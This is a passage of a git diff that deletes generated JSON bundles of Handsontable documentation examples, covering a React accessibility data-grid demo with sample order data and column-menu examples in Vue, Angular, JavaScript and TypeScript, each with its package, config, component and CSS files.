Tuna',\n sellDate: '2023-04-08',\n inStock: true,\n qty: 332,\n orderId: '41-3774568',\n country: 'Montserrat',\n },\n {\n companyName: 'Crona and Sons',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-06-21',\n inStock: true,\n qty: 104,\n orderId: '48-9995090',\n country: 'Syrian Arab Republic',\n },\n {\n companyName: 'Lind Group',\n productName: 'Rustic Cotton Ball',\n sellDate: '2023-08-17',\n inStock: false,\n qty: 51,\n orderId: '68-9599400',\n country: 'Czech Republic',\n },\n {\n companyName: 'Labadie LLC',\n productName: 'Small Fresh Bacon',\n sellDate: '2023-04-20',\n inStock: true,\n qty: 155,\n orderId: '52-4334332',\n country: 'Croatia',\n },\n {\n companyName: 'Doyle Group',\n productName: 'Sleek Wooden Bacon',\n sellDate: '2023-07-23',\n inStock: false,\n qty: 465,\n orderId: '63-8894526',\n country: 'Indonesia',\n },\n];\n\nconst countries = data.reduce((acc, curr) => {\n if (acc.includes(curr.country)) {\n return acc;\n }\n\n return [...acc, curr.country];\n}, []);\n\n/* end:skip-in-preview */\n\n// Handsontable options\nconst hotOptions = {\n data,\n height: 464,\n colWidths: [160, 165, 130, 120, 100, 110, 216],\n autoRowSize: true,\n colHeaders: ['Company name', 'Product name', 'Sell date', 'In stock', 'Qty', 'Order ID', 'Country'],\n dropdownMenu: true,\n hiddenColumns: {\n indicators: true,\n },\n multiColumnSorting: true,\n filters: true,\n rowHeaders: true,\n manualRowMove: true,\n licenseKey: 'non-commercial-and-evaluation',\n};\n\nconst ExampleComponent = () => {\n const [toggleableOptions, setToggleableOptions] = useState>({\n tabNavigation: true,\n navigableHeaders: true,\n renderAllRows: false,\n renderAllColumns: false,\n enterBeginsEditing: true,\n autoWrapRow: true,\n autoWrapCol: true,\n headerClassName: 'htLeft',\n enterMoves: { col: 0, row: 1 },\n });\n\n return (\n
    \n {/* DemoOptions component for changing Handsontable options */}\n \n\n \n\n {/* Handsontable component with dynamic options */}\n \n {/* Define HotColumns for the data */}\n \n \n \n \n \n \n \n \n \n
    \n );\n};\n\n// Demo Options allows you to change the Handsontable options\n// This allows us to change the Handsontable settings from the UI, showcasing\n// the flexibility of Handsontable in configuring according to your needs.\nfunction DemoOptions({\n tabNavigation,\n navigableHeaders,\n renderAllRows,\n renderAllColumns,\n enterBeginsEditing,\n autoWrapRow,\n autoWrapCol,\n enterMoves,\n changeToggleOptions,\n}: Toggle) {\n // on checkbox change, update handsontable option\n const handleCheckboxChange = (checkboxName: string) => {\n switch (checkboxName) {\n case 'enable-tab-navigation':\n changeToggleOptions((existing: any) => ({\n ...existing,\n tabNavigation: !tabNavigation,\n }));\n\n break;\n case 'enable-header-navigation':\n changeToggleOptions((existing: any) => ({\n ...existing,\n navigableHeaders: !navigableHeaders,\n }));\n\n break;\n case 'enable-cell-virtualization':\n changeToggleOptions((existing: any) => ({\n ...existing,\n renderAllRows: !renderAllRows,\n renderAllColumns: !renderAllColumns,\n }));\n\n break;\n case 'enable-cell-enter-editing':\n changeToggleOptions((existing: any) => ({\n ...existing,\n enterBeginsEditing: !enterBeginsEditing,\n }));\n\n break;\n case 'enable-arrow-rl-first-last-column':\n changeToggleOptions((existing: any) => ({\n ...existing,\n autoWrapRow: !autoWrapRow,\n }));\n\n break;\n case 'enable-arrow-td-first-last-column':\n changeToggleOptions((existing: any) => ({\n ...existing,\n autoWrapCol: !autoWrapCol,\n }));\n\n break;\n case 'enable-enter-focus-editing':\n changeToggleOptions((existing: any) => ({\n ...existing,\n enterMoves: enterMoves.row !== 1 ? { col: 0, row: 1 } : { col: 0, row: 0 },\n }));\n\n break;\n default:\n break;\n }\n };\n\n return (\n <>\n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n \n \n \n \n \n \n
    \n
    \n \n );\n}\n\nexport default ExampleComponent;","/src/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;\n}"},"docsPath":"guides/accessibility/accessibility/react/example2.tsx","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example2","exampleTitle":"Accessible data grid demo","docPermalink":"/accessibility","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__vue__example2.vue.json deleted file mode 100644 index 41b2eafd..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessibility__accessibility__vue__example2.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Accessibility · Accessible data grid demo · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport \"./styles.css\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n","/src/styles.css":".checkbox-container {\n display: flex;\n flex-direction: column;\n gap: 0.5rem;\n margin: 0 -1rem 0 !important;\n padding: 0 1rem 0.75rem;\n border-bottom: 1px solid var(--sl-color-gray-5, #e0e0e0);\n}\n\n.checkbox-container > div {\n display: flex;\n}\n\n.checkbox-container > div > label {\n display: flex;\n align-items: center;\n gap: 0.4rem;\n}\n\n.external-link {\n margin-left: 0.5rem;\n position: relative;\n top: 2px;\n color: var(--sl-color-text, #333333);\n}\n\n.external-link:hover {\n color: var(--sl-color-accent, #1A42E8);\n}\n\n.placeholder-input {\n max-width: 20rem;\n padding: 0.4rem 0.625rem;\n font-size: var(--sl-text-sm, 0.875rem);\n line-height: 1.25rem;\n color: var(--sl-color-text, #333333);\n background: none;\n border: 1px solid var(--sl-color-gray-5, #e0e0e0);\n border-radius: 0;\n outline: none;\n}\n\n.placeholder-input::placeholder {\n color: var(--sl-color-gray-3, #777777);\n}\n\n.placeholder-input:focus {\n border-color: var(--sl-color-accent, #1A42E8);\n}\n\n.option-label {\n color: var(--sl-color-text, #333333);\n font-size: var(--sl-text-sm, 0.875rem);\n}\n\n/*\n We want the focus to be around input and label, in order to achieve this,\n we remove focus from the input and add it to the label (wrapper in this case)\n we then use the :focus-within pseudo class plus native focus styles\n https://css-tricks.com/copy-the-browsers-native-focus-styles/\n*/\n.option-label:focus-within {\n outline: 5px auto Highlight;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\n.option-label > input:focus {\n outline: none;\n}\n\n.example-container {\n gap: 1rem;\n display: flex;\n flex-direction: column;\n}"},"docsPath":"guides/accessibility/accessibility/vue/example2.vue","breadcrumb":["Accessibility"],"guide":"guides/accessibility/accessibility/accessibility.md","guideTitle":"Accessibility","exampleId":"example2","exampleTitle":"Accessible data grid demo","docPermalink":"/accessibility","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__angular__example1.ts.json deleted file mode 100644 index df9d0117..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__angular__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Column menu · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/column-menu/angular/example1.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__angular__example2.ts.json deleted file mode 100644 index 5e7fb7c9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__angular__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n height: 'auto',\n dropdownMenu: [\n 'remove_col',\n '---------',\n 'make_read_only',\n '---------',\n 'alignment',\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/column-menu/angular/example2.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example1.js.json deleted file mode 100644 index f03e8124..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Column menu · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example1.js","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example1.ts.json deleted file mode 100644 index d9d60958..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Column menu · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n dropdownMenu: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example1.ts","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-menu","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example2.js.json deleted file mode 100644 index 6b105ca0..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3'],\n ],\n colHeaders: true,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n dropdownMenu: ['remove_col', '---------', 'make_read_only', '---------', 'alignment'],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/column-menu/javascript/example2.js","breadcrumb":["Accessories And Menus","Column menu"],"guide":"guides/accessories-and-menus/column-menu/column-menu.md","guideTitle":"Column menu","exampleId":"example2","exampleTitle":"Plugin configuration","docPermalink":"/column-menu","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example2.ts.json deleted file mode 100644 index a5dd367d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__accessories-and-menus__column-menu__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Accessories And Menus ▸ Column menu · Plugin configuration · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
